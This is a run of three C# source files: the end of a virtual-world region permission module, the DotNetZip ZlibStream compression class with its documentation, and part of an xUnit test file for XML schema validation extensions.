BigRegion.PermissionModule.CanEditParcel; //MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnInstantMessage += BigRegion.PermissionModule.CanInstantMessage; VirtualRegion.Permissions.OnInventoryTransfer += BigRegion.PermissionModule.CanInventoryTransfer; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnIssueEstateCommand += BigRegion.PermissionModule.CanIssueEstateCommand; //FULLY IMPLEMENTED VirtualRegion.Permissions.OnMoveObject += BigRegion.PermissionModule.CanMoveObject; //MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnObjectEntry += BigRegion.PermissionModule.CanObjectEntry; VirtualRegion.Permissions.OnReturnObjects += BigRegion.PermissionModule.CanReturnObjects; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnRezObject += BigRegion.PermissionModule.CanRezObject; //MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnRunConsoleCommand += BigRegion.PermissionModule.CanRunConsoleCommand; VirtualRegion.Permissions.OnRunScript += BigRegion.PermissionModule.CanRunScript; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnCompileScript += BigRegion.PermissionModule.CanCompileScript; VirtualRegion.Permissions.OnSellParcel += BigRegion.PermissionModule.CanSellParcel; VirtualRegion.Permissions.OnTakeObject += BigRegion.PermissionModule.CanTakeObject; VirtualRegion.Permissions.OnTakeCopyObject += BigRegion.PermissionModule.CanTakeCopyObject; VirtualRegion.Permissions.OnTerraformLand += BigRegion.PermissionModule.CanTerraformLand; VirtualRegion.Permissions.OnLinkObject += BigRegion.PermissionModule.CanLinkObject; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnDelinkObject += BigRegion.PermissionModule.CanDelinkObject; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnBuyLand += BigRegion.PermissionModule.CanBuyLand; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnViewNotecard += BigRegion.PermissionModule.CanViewNotecard; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnViewScript += BigRegion.PermissionModule.CanViewScript; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnEditNotecard += BigRegion.PermissionModule.CanEditNotecard; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnEditScript += BigRegion.PermissionModule.CanEditScript; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnCreateObjectInventory += BigRegion.PermissionModule.CanCreateObjectInventory; //NOT IMPLEMENTED HERE VirtualRegion.Permissions.OnEditObjectInventory += BigRegion.PermissionModule.CanEditObjectInventory;//MAYBE FULLY IMPLEMENTED VirtualRegion.Permissions.OnCopyObjectInventory += BigRegion.PermissionModule.CanCopyObjectInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnDeleteObjectInventory += BigRegion.PermissionModule.CanDeleteObjectInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnResetScript += BigRegion.PermissionModule.CanResetScript; VirtualRegion.Permissions.OnCreateUserInventory += BigRegion.PermissionModule.CanCreateUserInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnCopyUserInventory += BigRegion.PermissionModule.CanCopyUserInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnEditUserInventory += BigRegion.PermissionModule.CanEditUserInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnDeleteUserInventory += BigRegion.PermissionModule.CanDeleteUserInventory; //NOT YET IMPLEMENTED VirtualRegion.Permissions.OnTeleport += BigRegion.PermissionModule.CanTeleport; //NOT YET IMPLEMENTED } #region console commands public void FixPhantoms(string module, string[] cmdparams) { List<Scene> scenes = new List<Scene>(m_startingScenes.Values); foreach (Scene s in scenes) { s.ForEachSOG(delegate(SceneObjectGroup e) { e.AbsolutePosition = e.AbsolutePosition; } ); } } #endregion } }
// ZlibStream.cs // ------------------------------------------------------------------ // // Copyright (c) 2009 Dino Chiesa and Microsoft Corporation. // All rights reserved. // // This code module is part of DotNetZip, a zipfile class library. // // ------------------------------------------------------------------ // // This code is licensed under the Microsoft Public License. // See the file License.txt for the license details. // More info on: http://dotnetzip.codeplex.com // // ------------------------------------------------------------------ // // last saved (in emacs): // Time-stamp: <2011-July-31 14:53:33> // // ------------------------------------------------------------------ // // This module defines the ZlibStream class, which is similar in idea to // the System.IO.Compression.DeflateStream and // System.IO.Compression.GZipStream classes in the .NET BCL. // // ------------------------------------------------------------------ using System; using System.IO; namespace Ionic2.Zlib { /// <summary> /// Represents a Zlib stream for compression or decompression. /// </summary> /// <remarks> /// /// <para> /// The ZlibStream is a <see /// href="http://en.wikipedia.org/wiki/Decorator_pattern">Decorator</see> on a <see /// cref="System.IO.Stream"/>. It adds ZLIB compression or decompression to any /// stream. /// </para> /// /// <para> Using this stream, applications can compress or decompress data via /// stream <c>Read()</c> and <c>Write()</c> operations. Either compresssion or /// decompression can occur through either reading or writing. The compression /// format used is ZLIB, which is documented in <see /// href="http://www.ietf.org/rfc/rfc1950.txt">IETF RFC 1950</see>, "ZLIB Compressed /// Data Format Specification version 3.3". This implementation of ZLIB always uses /// DEFLATE as the compression method. (see <see /// href="http://www.ietf.org/rfc/rfc1951.txt">IETF RFC 1951</see>, "DEFLATE /// Compressed Data Format Specification version 1.3.") </para> /// /// <para> /// The ZLIB format allows for varying compression methods, window sizes, and dictionaries. /// This implementation always uses the DEFLATE compression method, a preset dictionary, /// and 15 window bits by default. /// </para> /// /// <para> /// This class is similar to <see cref="DeflateStream"/>, except that it adds the /// RFC1950 header and trailer bytes to a compressed stream when compressing, or expects /// the RFC1950 header and trailer bytes when decompressing. It is also similar to the /// <see cref="GZipStream"/>. /// </para> /// </remarks> /// <seealso cref="DeflateStream" /> /// <seealso cref="GZipStream" /> public class ZlibStream : System.IO.Stream { internal ZlibBaseStream _baseStream; bool _disposed; /// <summary> /// Create a <c>ZlibStream</c> using the specified <c>CompressionMode</c>. /// </summary> /// <remarks> /// /// <para> /// When mode is <c>CompressionMode.Compress</c>, the <c>ZlibStream</c> /// will use the default compression level. The "captive" stream will be /// closed when the <c>ZlibStream</c> is closed. /// </para> /// /// </remarks> /// /// <example> /// This example uses a <c>ZlibStream</c> to compress a file, and writes the /// compressed data to another file. /// <code> /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) /// { /// using (Stream compressor = new ZlibStream(raw, CompressionMode.Compress)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// } /// </code> /// <code lang="VB"> /// Using input As Stream = File.OpenRead(fileToCompress) /// Using raw As FileStream = File.Create(fileToCompress &amp; ".zlib") /// Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// End Using /// </code> /// </example> /// /// <param name="stream">The stream which will be read or written.</param> /// <param name="mode">Indicates whether the ZlibStream will compress or decompress.</param> public ZlibStream(System.IO.Stream stream, CompressionMode mode) : this(stream, mode, CompressionLevel.Default, false) { } /// <summary> /// Create a <c>ZlibStream</c> using the specified <c>CompressionMode</c> and /// the specified <c>CompressionLevel</c>. /// </summary> /// /// <remarks> /// /// <para> /// When mode is <c>CompressionMode.Decompress</c>, the level parameter is ignored. /// The "captive" stream will be closed when the <c>ZlibStream</c> is closed. /// </para> /// /// </remarks> /// /// <example> /// This example uses a <c>ZlibStream</c> to compress data from a file, and writes the /// compressed data to another file. /// /// <code> /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (var raw = System.IO.File.Create(fileToCompress + ".zlib")) /// { /// using (Stream compressor = new ZlibStream(raw, /// CompressionMode.Compress, /// CompressionLevel.BestCompression)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// } /// </code> /// /// <code lang="VB"> /// Using input As Stream = File.OpenRead(fileToCompress) /// Using raw As FileStream = File.Create(fileToCompress &amp; ".zlib") /// Using compressor As Stream = New ZlibStream(raw, CompressionMode.Compress, CompressionLevel.BestCompression) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// End Using /// </code> /// </example> /// /// <param name="stream">The stream to be read or written while deflating or inflating.</param> /// <param name="mode">Indicates whether the ZlibStream will compress or decompress.</param> /// <param name="level">A tuning knob to trade speed for effectiveness.</param> public ZlibStream(System.IO.Stream stream, CompressionMode mode, CompressionLevel level) : this(stream, mode, level, false) { } /// <summary> /// Create a <c>ZlibStream</c> using the specified <c>CompressionMode</c>, and /// explicitly specify whether the captive stream should be left open after /// Deflation or Inflation. /// </summary> /// /// <remarks> /// /// <para> /// When mode is <c>CompressionMode.Compress</c>, the <c>ZlibStream</c> will use /// the default compression level. /// </para> /// /// <para> /// This constructor allows the application to request that the captive stream /// remain open after the deflation or inflation occurs. By default, after /// <c>Close()</c> is called on the stream, the captive stream is also /// closed. In some cases this is not desired, for example if the stream is a /// <see cref="System.IO.MemoryStream"/> that will be re-read after /// compression. Specify true for the <paramref name="leaveOpen"/> parameter to leave the stream /// open. /// </para> /// /// <para> /// See the other overloads of this constructor for example code. /// </para> /// /// </remarks> /// /// <param name="stream">The stream which will be read or written. This is called the /// "captive" stream in other places in this documentation.</param> /// <param name="mode">Indicates whether the ZlibStream will compress or decompress.</param> /// <param name="leaveOpen">true if the application would like the stream to remain /// open after inflation/deflation.</param> public ZlibStream(System.IO.Stream stream, CompressionMode mode, bool leaveOpen) : this(stream, mode, CompressionLevel.Default, leaveOpen) { } /// <summary> /// Create a <c>ZlibStream</c> using the specified <c>CompressionMode</c> /// and the specified <c>CompressionLevel</c>, and explicitly specify /// whether the stream should be left open after Deflation or Inflation. /// </summary> /// /// <remarks> /// /// <para> /// This constructor allows the application to request that the captive /// stream remain open after the deflation or inflation occurs. By /// default, after <c>Close()</c> is called on the stream, the captive /// stream is also closed. In some cases this is not desired, for example /// if the stream is a <see cref="System.IO.MemoryStream"/> that will be /// re-read after compression. Specify true for the <paramref /// name="leaveOpen"/> parameter to leave the stream open. /// </para> /// /// <para> /// When mode is <c>CompressionMode.Decompress</c>, the level parameter is /// ignored. /// </para> /// /// </remarks> /// /// <example> /// /// This example shows how to use a ZlibStream to compress the data from a file, /// and store the result into another file. The filestream remains open to allow /// additional data to be written to it. /// /// <code> /// using (var output = System.IO.File.Create(fileToCompress + ".zlib")) /// { /// using (System.IO.Stream input = System.IO.File.OpenRead(fileToCompress)) /// { /// using (Stream compressor = new ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, true)) /// { /// byte[] buffer = new byte[WORKING_BUFFER_SIZE]; /// int n; /// while ((n= input.Read(buffer, 0, buffer.Length)) != 0) /// { /// compressor.Write(buffer, 0, n); /// } /// } /// } /// // can write additional data to the output stream here /// } /// </code> /// <code lang="VB"> /// Using output As FileStream = File.Create(fileToCompress &amp; ".zlib") /// Using input As Stream = File.OpenRead(fileToCompress) /// Using compressor As Stream = New ZlibStream(output, CompressionMode.Compress, CompressionLevel.BestCompression, True) /// Dim buffer As Byte() = New Byte(4096) {} /// Dim n As Integer = -1 /// Do While (n &lt;&gt; 0) /// If (n &gt; 0) Then /// compressor.Write(buffer, 0, n) /// End If /// n = input.Read(buffer, 0, buffer.Length) /// Loop /// End Using /// End Using /// ' can write additional data to the output stream here. /// End Using /// </code> /// </example> /// /// <param name="stream">The stream which will be read or written.</param> /// /// <param name="mode">Indicates whether the ZlibStream will compress or decompress.</param> /// /// <param name="leaveOpen"> /// true if the application would like the stream to remain open after /// inflation/deflation. /// </param> /// /// <param name="level"> /// A tuning knob to trade speed for effectiveness. This parameter is /// effective only when mode is <c>CompressionMode.Compress</c>. /// </param> public ZlibStream(System.IO.Stream stream, CompressionMode mode, CompressionLevel level, bool leaveOpen) { _baseStream = new ZlibBaseStream(stream, mode, level, ZlibStreamFlavor.ZLIB, leaveOpen); } /// <summary> /// This property sets the flush behavior on the stream. /// Sorry, though, not sure exactly how to describe all the various settings. /// </summary> virtual public FlushType FlushMode { get { return (_baseStream._flushMode); } set { if (_disposed) throw new ObjectDisposedException("ZlibStream"); _baseStream._flushMode = value; } } /// <summary> /// The size of the working buffer for the compression codec. /// </summary> /// /// <remarks> /// <para> /// The working buffer is used for all stream operations. The default size is /// 1024 bytes. The minimum size is 128 bytes. You may get better performance /// with a larger buffer. Then again, you might not. You would have to test /// it. /// </para> /// /// <para> /// Set this before the first call to <c>Read()</c> or <c>Write()</c> on the /// stream. If you try to set it afterwards, it will throw. /// </para> /// </remarks> public int BufferSize { get { return _baseStream._bufferSize; } set { if (_disposed) throw new ObjectDisposedException("ZlibStream"); if (_baseStream._workingBuffer != null) throw new ZlibException("The working buffer is already set."); if (value < ZlibConstants.WorkingBufferSizeMin) throw new ZlibException(String.Format("Don't be silly. {0} bytes?? Use a bigger buffer, at least {1}.", value, ZlibConstants.WorkingBufferSizeMin)); _baseStream._bufferSize = value; } } /// <summary> Returns the total number of bytes input so far.</summary> virtual public long TotalIn { get { return _baseStream._z.TotalBytesIn; } } /// <summary> Returns the total number of bytes output so far.</summary> virtual public long TotalOut { get { return _baseStream._z.TotalBytesOut; } } /// <summary> /// Dispose the stream. /// </summary> /// <remarks> /// <para> /// This may or may not result in a <c>Close()</c> call on the captive /// stream. See the constructors that have a <c>leaveOpen</c> parameter /// for more information. /// </para> /// <para> /// This method may be invoked in two distinct scenarios. If disposing /// == true, the method has been called directly or indirectly by a /// user's code, for example via the public Dispose() method. In this /// case, both managed and unmanaged resources can be referenced and /// disposed. If disposing == false, the method has been called by the /// runtime from inside the object finalizer and this method should not /// reference other objects; in that case only unmanaged resources must /// be referenced or disposed. /// </para> /// </remarks> /// <param name="disposing"> /// indicates whether the Dispose method was invoked by user code. /// </param> protected override void Dispose(bool disposing) { try { if (!_disposed) { if (disposing && (_baseStream != null)) _baseStream.Close(); _disposed = true; } } finally { base.Dispose(disposing); } } /// <summary> /// Indicates whether the stream can be read. /// </summary> /// <remarks> /// The return value depends on whether the captive stream supports reading. /// </remarks> public override bool CanRead { get { if (_disposed) throw new ObjectDisposedException("ZlibStream"); return _baseStream._stream.CanRead; } } /// <summary> /// Indicates whether the stream supports Seek operations. /// </summary> /// <remarks> /// Always returns false. /// </remarks> public override bool CanSeek { get { return false; } } /// <summary> /// Indicates whether the stream can be written. /// </summary> /// <remarks> /// The return value depends on whether the captive stream supports writing. /// </remarks> public override bool CanWrite { get { if (_disposed) throw new ObjectDisposedException("ZlibStream"); return _baseStream._stream.CanWrite; } } /// <summary> /// Flush the stream. /// </summary> public override void Flush() { if (_disposed) throw new ObjectDisposedException("ZlibStream"); _baseStream.Flush(); } /// <summary> /// Reading this property always throws a <see cref="NotSupportedException"/>. /// </summary> public override long Length { get { throw new NotSupportedException(); } } /// <summary> /// The position of the stream pointer. /// </summary> /// /// <remarks> /// Setting this property always throws a <see /// cref="NotSupportedException"/>. Reading will return the total bytes /// written out, if used in writing, or the total bytes read in, if used in /// reading. The count may refer to compressed bytes or uncompressed bytes, /// depending on how you've used the stream. /// </remarks> public override long Position { get { if (_baseStream._streamMode == Ionic2.Zlib.ZlibBaseStream.StreamMode.Writer) return _baseStream._z.TotalBytesOut; if (_baseStream._streamMode == Ionic2.Zlib.ZlibBaseStream.StreamMode.Reader) return _baseStream._z.TotalBytesIn; return 0; } set { throw new NotSupportedException(); } } /// <summary> /// Read data from the stream. /// </summary> /// /// <remarks> /// /// <para> /// If you wish to use the <c>ZlibStream</c> to compress data while reading, /// you can create a <c>ZlibStream</c> with <c>CompressionMode.Compress</c>, /// providing an uncompressed data stream. Then call <c>Read()</c> on that /// <c>ZlibStream</c>, and the data read will be compressed. If you wish to /// use the <c>ZlibStream</c> to decompress data while reading, you can create /// a <c>ZlibStream</c> with <c>CompressionMode.Decompress</c>, providing a /// readable compressed data stream. Then call <c>Read()</c> on that /// <c>ZlibStream</c>, and the data will be decompressed as it is read. /// </para> /// /// <para> /// A <c>ZlibStream</c> can be used for <c>Read()</c> or <c>Write()</c>, but /// not both. /// </para> /// /// </remarks> /// /// <param name="buffer"> /// The buffer into which the read data should be placed.</param> /// /// <param name="offset"> /// the offset within that data array to put the first byte read.</param> /// /// <param name="count">the number of bytes to read.</param> /// /// <returns>the number of bytes read</returns> public override int Read(byte[] buffer, int offset, int count) { if (_disposed) throw new ObjectDisposedException("ZlibStream"); return _baseStream.Read(buffer, offset, count); } /// <summary> /// Calling this method always throws a <see cref="NotSupportedException"/>. /// </summary> /// <param name="offset"> /// The offset to seek to.... /// IF THIS METHOD ACTUALLY DID ANYTHING. /// </param> /// <param name="origin"> /// The reference specifying how to apply the offset.... IF /// THIS METHOD ACTUALLY DID ANYTHING. /// </param> /// /// <returns>nothing. This method always throws.</returns> public override long Seek(long offset, System.IO.SeekOrigin origin) { throw new NotSupportedException(); } /// <summary> /// Calling this method always throws a <see cref="NotSupportedException"/>. /// </summary> /// <param name="value"> /// The new value for the stream length.... IF /// THIS METHOD ACTUALLY DID ANYTHING. /// </param> public override void SetLength(long value) { throw new NotSupportedException(); } /// <summary> /// Write data to the stream. /// </summary> /// /// <remarks> /// /// <para> /// If you wish to use the <c>ZlibStream</c> to compress data while writing, /// you can create a <c>ZlibStream</c> with <c>CompressionMode.Compress</c>, /// and a writable output stream. Then call <c>Write()</c> on that /// <c>ZlibStream</c>, providing uncompressed data as input. The data sent to /// the output stream will be the compressed form of the data written. If you /// wish to use the <c>ZlibStream</c> to decompress data while writing, you /// can create a <c>ZlibStream</c> with <c>CompressionMode.Decompress</c>, and a /// writable output stream. Then call <c>Write()</c> on that stream, /// providing previously compressed data. The data sent to the output stream /// will be the decompressed form of the data written. /// </para> /// /// <para> /// A <c>ZlibStream</c> can be used for <c>Read()</c> or <c>Write()</c>, but not both. /// </para> /// </remarks> /// <param name="buffer">The buffer holding data to write to the stream.</param> /// <param name="offset">the offset within that data array to find the first byte to write.</param> /// <param name="count">the number of bytes to write.</param> public override void Write(byte[] buffer, int offset, int count) { if (_disposed) throw new ObjectDisposedException("ZlibStream"); _baseStream.Write(buffer, offset, count); } /// <summary> /// Compress a string into a byte array using ZLIB. /// </summary> /// /// <remarks> /// Uncompress it with <see cref="ZlibStream.UncompressString(byte[])"/>. /// </remarks> /// /// <seealso cref="ZlibStream.UncompressString(byte[])"/> /// <seealso cref="ZlibStream.CompressBuffer(byte[])"/> /// <seealso cref="GZipStream.CompressString(string)"/> /// /// <param name="s"> /// A string to compress. The string will first be encoded /// using UTF8, then compressed. /// </param> /// /// <returns>The string in compressed form</returns> public static byte[] CompressString(String s) { using (var ms = new MemoryStream()) { Stream compressor = new ZlibStream(ms, CompressionMode.Compress, CompressionLevel.BestCompression); ZlibBaseStream.CompressString(s, compressor); return ms.ToArray(); } } /// <summary> /// Compress a byte array into a new byte array using ZLIB. /// </summary> /// /// <remarks> /// Uncompress it with <see cref="ZlibStream.UncompressBuffer(byte[])"/>. /// </remarks> /// /// <seealso cref="ZlibStream.CompressString(string)"/> /// <seealso cref="ZlibStream.UncompressBuffer(byte[])"/> /// /// <param name="b"> /// A buffer to compress. /// </param> /// /// <returns>The data in compressed form</returns> public static byte[] CompressBuffer(byte[] b) { using (var ms = new MemoryStream()) { Stream compressor = new ZlibStream( ms, CompressionMode.Compress, CompressionLevel.BestCompression ); ZlibBaseStream.CompressBuffer(b, compressor); return ms.ToArray(); } } /// <summary> /// Uncompress a ZLIB-compressed byte array into a single string. /// </summary> /// /// <seealso cref="ZlibStream.CompressString(String)"/> /// <seealso cref="ZlibStream.UncompressBuffer(byte[])"/> /// /// <param name="compressed"> /// A buffer containing ZLIB-compressed data. /// </param> /// /// <returns>The uncompressed string</returns> public static String UncompressString(byte[] compressed) { using (var input = new MemoryStream(compressed)) { Stream decompressor = new ZlibStream(input, CompressionMode.Decompress); return ZlibBaseStream.UncompressString(compressed, decompressor); } } /// <summary> /// Uncompress a ZLIB-compressed byte array into a byte array. /// </summary> /// /// <seealso cref="ZlibStream.CompressBuffer(byte[])"/> /// <seealso cref="ZlibStream.UncompressString(byte[])"/> /// /// <param name="compressed"> /// A buffer containing ZLIB-compressed data. /// </param> /// /// <returns>The data in uncompressed form</returns> public static byte[] UncompressBuffer(byte[] compressed) { using (var input = new MemoryStream(compressed)) { Stream decompressor = new ZlibStream( input, CompressionMode.Decompress ); return ZlibBaseStream.UncompressBuffer(compressed, decompressor); } } } }
// Licensed to the .NET Foundation under one or more agreements. // See the LICENSE file in the project root for more information. // // ExtensionsTest.cs - NUnit Test Cases for Extensions.cs class under // System.Xml.Schema namespace found in System.Xml.Linq assembly // (System.Xml.Linq.dll) // // Author: // Stefan Prutianu (stefanprutianu@yahoo.com) // // (C) Stefan Prutianu // using System; using System.Xml; using System.IO; using Network = System.Net; using System.Xml.Linq; using System.Xml.Schema; using System.Collections.Generic; using ExtensionsClass = System.Xml.Schema.Extensions; using Xunit; namespace CoreXml.Test.XLinq { public class SchemaExtensionsTests { public static String xsdString; public static XmlSchemaSet schemaSet; public static String xmlString; public static XDocument xmlDocument; public static bool validationSucceded; // initialize values for tests public SchemaExtensionsTests() { xsdString = @"<?xml version='1.0'?> <xs:schema xmlns:xs='http://www.w3.org/2001/XMLSchema'> <xs:element name='note'> <xs:complexType> <xs:sequence> <xs:element name='to' type='xs:string'/> <xs:element name='from' type='xs:string'/> <xs:element name='heading' type='xs:string'/> <xs:element name='ps' type='xs:string' maxOccurs='1' minOccurs = '0' default='Bye!'/> <xs:element name='body'> <xs:simpleType> <xs:restriction base='xs:string'> <xs:minLength value='5'/> <xs:maxLength value='30'/> </xs:restriction> </xs:simpleType> </xs:element> </xs:sequence> <xs:attribute name='subject' type='xs:string' default='mono'/> <xs:attribute name='date' type='xs:date' use='required'/> </xs:complexType> </xs:element> </xs:schema>"; schemaSet = new XmlSchemaSet(); schemaSet.Add("", XmlReader.Create(new StringReader(xsdString))); xmlString = @"<?xml version='1.0'?> <note date ='2010-05-26'> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget to call me!</body> </note>"; xmlDocument = XDocument.Load(new StringReader(xmlString)); validationSucceded = false; /* * Use this method to load the above data from disk * Comment the above code when using this method. * Also the arguments for the folowing tests: XAttributeSuccessValidate * XAttributeFailValidate, XAttributeThrowExceptionValidate, XElementSuccessValidate * XElementFailValidate,XElementThrowExceptionValidate, XAttributeGetSchemaInfo * XElementGetSchemaInfo may need to be changed. */ //LoadOutsideDocuments ("c:\\note.xsd", "c:\\note.xml"); } // Use this method to load data from disk public static void LoadOutsideDocuments(String xsdDocumentPath, String xmlDocumentPath) { // Create a resolver with default credentials. XmlUrlResolver resolver = new XmlUrlResolver(); resolver.Credentials = Network.CredentialCache.DefaultCredentials; // Set the reader settings object to use the resolver. XmlReaderSettings settings = new XmlReaderSettings(); settings.XmlResolver = resolver; // Create the XmlReader object. XmlReader reader = XmlReader.Create(xsdDocumentPath, settings); schemaSet = new XmlSchemaSet(); schemaSet.Add("", reader); reader = XmlReader.Create(xmlDocumentPath, settings); xmlDocument = XDocument.Load(reader); validationSucceded = false; } // this gets called when a validation error occurs public void TestValidationHandler(object sender, ValidationEventArgs e) { validationSucceded = false; } // test succesfull validation [Fact] public void XDocumentSuccessValidate() { validationSucceded = true; ExtensionsClass.Validate (xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(true, validationSucceded); } // test failed validation [Fact] public void XDocumentFailValidate() { String elementName = "AlteringElementName"; object elementValue = "AlteringElementValue"; // alter XML document to invalidate XElement newElement = new XElement(elementName, elementValue); xmlDocument.Root.Add(newElement); validationSucceded = true; ExtensionsClass.Validate (xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(false, validationSucceded); } /* * test if exception is thrown when xml document does not * conform to the xml schema */ [Fact] public void XDocumentThrowExceptionValidate() { String elementName = "AlteringElementName"; object elementValue = "AlteringElementValue"; // alter XML document to invalidate XElement newElement = new XElement(elementName, elementValue); xmlDocument.Root.Add(newElement); Assert.Throws<XmlSchemaValidationException>(() => ExtensionsClass.Validate (xmlDocument, schemaSet, null)); } /* * test xml validation populating the XML tree with * the post-schema-validation infoset(PSVI) */ [Fact] public void XDocumentAddSchemaInfoValidate() { // no. of elements before validation IEnumerable<XElement> elements = xmlDocument.Elements (); IEnumerator<XElement> elementsEnumerator = elements.GetEnumerator (); int beforeNoOfElements = 0; int beforeNoOfAttributes = 0; while (elementsEnumerator.MoveNext ()) { beforeNoOfElements++; if (!elementsEnumerator.Current.HasAttributes) continue; else { IEnumerable<XAttribute> attributes = elementsEnumerator.Current.Attributes (); IEnumerator<XAttribute> attributesEnumerator = attributes.GetEnumerator (); while (attributesEnumerator.MoveNext ()) beforeNoOfAttributes++; } } // populate XML with PSVI validationSucceded = true; ExtensionsClass.Validate (xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // no. of elements after validation elements = xmlDocument.Elements (); elementsEnumerator = elements.GetEnumerator (); int afterNoOfElements = 0; int afterNoOfAttributes = 0; while (elementsEnumerator.MoveNext ()) { afterNoOfElements++; if (!elementsEnumerator.Current.HasAttributes) continue; else { IEnumerable<XAttribute> attributes = elementsEnumerator.Current.Attributes (); IEnumerator<XAttribute> attributesEnumerator = attributes.GetEnumerator (); while (attributesEnumerator.MoveNext ()) afterNoOfAttributes++; } } Assert.True(afterNoOfAttributes >= beforeNoOfAttributes, "XDocumentAddSchemaInfoValidate, wrong newAttributes value."); Assert.True(afterNoOfElements >= beforeNoOfElements, "XDocumentAddSchemaInfoValidate, wrong newElements value."); } /* * test xml validation without populating the XML tree with * the post-schema-validation infoset(PSVI). */ [Fact] public void XDocumentNoSchemaInfoValidate () { // no. of elements before validation IEnumerable<XElement> elements = xmlDocument.Elements (); IEnumerator<XElement> elementsEnumerator = elements.GetEnumerator (); int beforeNoOfElements = 0; int beforeNoOfAttributes = 0; while (elementsEnumerator.MoveNext ()) { beforeNoOfElements++; if (!elementsEnumerator.Current.HasAttributes) continue; else { IEnumerable<XAttribute> attributes = elementsEnumerator.Current.Attributes (); IEnumerator<XAttribute> attributesEnumerator = attributes.GetEnumerator (); while (attributesEnumerator.MoveNext ()) beforeNoOfAttributes++; } } // don't populate XML with PSVI validationSucceded = true; ExtensionsClass.Validate (xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), false); Assert.Equal(true, validationSucceded); // no. of elements after validation elements = xmlDocument.Elements (); elementsEnumerator = elements.GetEnumerator (); int afterNoOfElements = 0; int afterNoOfAttributes = 0; while (elementsEnumerator.MoveNext ()) { afterNoOfElements++; if (!elementsEnumerator.Current.HasAttributes) continue; else { IEnumerable<XAttribute> attributes = elementsEnumerator.Current.Attributes (); IEnumerator<XAttribute> attributesEnumerator = attributes.GetEnumerator (); while (attributesEnumerator.MoveNext ()) afterNoOfAttributes++; } } Assert.Equal(afterNoOfAttributes, beforeNoOfAttributes); Assert.Equal(afterNoOfElements, beforeNoOfElements); } // attribute validation succeeds after change [Fact] public void XAttributeSuccessValidate () { String elementName = "note"; String attributeName = "date"; object attributeValue = "2010-05-27"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate (xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // change and re-validate attribute value XAttribute date = xmlDocument.Element(elementName).Attribute (attributeName); date.SetValue (attributeValue); ExtensionsClass.Validate (date, date.GetSchemaInfo ().SchemaAttribute,schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(true, validationSucceded); } // attribute validation fails after change [Fact] public void XAttributeFailValidate() { String elementName = "note"; String attributeName = "date"; object attributeValue = "2010-12-32"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler),true); Assert.Equal(true, validationSucceded); // change and re-validate attribute value XAttribute date = xmlDocument.Element(elementName).Attribute(attributeName); date.SetValue(attributeValue); ExtensionsClass.Validate(date, date.GetSchemaInfo ().SchemaAttribute, schemaSet, new ValidationEventHandler(TestValidationHandler)); Assert.Equal(false, validationSucceded); } /* * test if exception is thrown when xml document does not * conform to the xml schema after attribute value change */ [Fact] public void XAttributeThrowExceptionValidate() { String elementName = "note"; String attributeName = "date"; object attributeValue = "2010-12-32"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler),true); Assert.Equal(true, validationSucceded); // change and re-validate attribute value XAttribute date = xmlDocument.Element(elementName).Attribute(attributeName); date.SetValue(attributeValue); Assert.Throws<XmlSchemaValidationException>(() => ExtensionsClass.Validate(date, date.GetSchemaInfo().SchemaAttribute, schemaSet, null)); } // element validation succeeds after change [Fact] public void XElementSuccessValidate() { String parentElementName = "note"; String childElementName = "body"; object childElementValue = "Please call me!"; // validate the entire document validationSucceded = true; ExtensionsClass.Validate(xmlDocument, schemaSet, new ValidationEventHandler(TestValidationHandler), true); Assert.Equal(true, validationSucceded); // alter element XElement root = xmlDocument.Element(parentElementName); root.SetElementValue(childElementName, childElementValue); ExtensionsClass.Validate(root, root.GetSchemaInfo().SchemaElement, schemaSet, new ValidationEventHandler(TestValidationHandler)); 